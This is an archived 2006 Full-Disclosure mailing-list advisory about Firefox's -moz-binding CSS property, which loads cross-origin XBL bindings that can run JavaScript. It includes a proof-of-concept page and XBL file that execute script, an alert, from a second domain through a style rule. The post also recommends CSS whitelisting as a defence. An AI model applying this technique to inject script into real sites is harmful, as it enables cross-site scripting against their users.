Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:11222
HistoryJan 29, 2006 - 12:00 a.m.

[Full-disclosure] -moz-binding CSS property: more XSS fun

2006-01-2900:00:00
vulners.com
11

Hm, I haven't seen this posted here …
Firefox now supports the -moz-binding CSS property, which associate
XBL[1] with an element. The same origin policy is not applied. This is a
problem because XBL may contain JavaScript and it runs with full access
to content.

There is a bug report[2] filed, but it seems unlikely that it will be
fixed anytime soon.

This is a good time to consider using a CSS parser and whitelist to
filter style tags and attributes.

I've included a very simple example below.

Cheers,
-Nikolas

[1] http://www.mozilla.org/projects/xbl/xbl.html
[2] https://bugzilla.mozilla.org/show_bug.cgi?id=324253

http://domain1/path/to/page.html :

<html>
<head>
<style>
body { -moz-binding: url("http://domain2/path/to/xbl.xml#xss&quot;&#41;; }
</style>
</head>
<body>
</body>
</html>

http://domain2/path/to/xbl.xml :

<?xml version="1.0"?>
<bindings xmlns="http://www.mozilla.org/xbl&quot;
xmlns:html="http://www.w3.org/1999/xhtml&quot;&gt;

<binding id="xss">
<implementation>
<constructor>
alert("XBL XSS");
</constructor>
</implementation>
</binding>

</bindings>


Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/